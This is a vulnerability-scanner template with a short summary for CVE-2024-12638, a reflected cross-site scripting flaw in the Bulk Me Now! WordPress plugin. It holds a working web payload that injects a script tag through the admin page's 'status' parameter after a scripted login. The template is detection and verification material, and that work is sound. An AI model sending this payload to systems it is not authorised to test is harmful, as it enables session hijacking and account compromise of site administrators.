Bulk Me Now! WordPress plugin <= 2.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.
PoC
id: CVE-2024-12638
info:
name: Bulk Me Now! Plugin <= 2.0 - Cross-Site Scripting
author: Sourabh-Sahu
severity: high
description: |
Bulk Me Now! WordPress plugin <= 2.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.
impact: |
Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.
remediation: |
Update to the latest version of the plugin where the vulnerability is fixed or implement input sanitization and output escaping.
reference:
- https://wpscan.com/vulnerability/a6f5b0fe-00a0-4e30-aec6-87882c035beb/
- https://nvd.nist.gov/vuln/detail/CVE-2024-12638
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
cvss-score: 7.1
cve-id: CVE-2024-12638
cwe-id: CWE-79
epss-score: 0.00548
epss-percentile: 0.44515
cpe: cpe:2.3:a:ombu:bulk_me_now\!:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: ombu
product: bulk_me_now
tags: cve,cve2024,bulk-me-now,wordpress,wp,wp-plugin,xss,authenticated
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- contains(header, "wordpress_logged_in")
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=bulkmenow-list&status=1"></script><script>alert(document.domain)</script><script> HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- contains_all(body, "><script>alert(document.domain)</script><script>", "Unread Messages")
- contains(content_type, "text/html")
- status_code == 200
condition: and
# digest: 4b0a00483046022100a292268955d9e89ae2bef8bb1c401551678f72c0116efcd42a635b8c265d186e022100e7e693d8c0e87cf2efc6b5472c7dd343645439222f5e29742a46447d90317f61:922c64590222798bb761d5b6d8e72950
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